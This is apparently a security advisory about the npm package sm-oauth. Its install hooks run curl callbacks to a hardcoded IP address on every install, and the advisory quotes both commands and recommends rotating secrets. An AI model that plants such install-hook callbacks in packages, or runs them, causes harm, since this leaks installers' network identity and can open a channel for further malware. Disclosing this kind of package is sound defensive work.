    Summary: Malicious code in sm-oauth (npm)

    Details: Source: amazon-inspector (98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc) package.json declares preinstall and postinstall scripts that run `curl -s http://16.192.173.5/sm-oauth/pre` and `curl -s http://16.192.173.5/sm-oauth/post` on every `npm install`. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
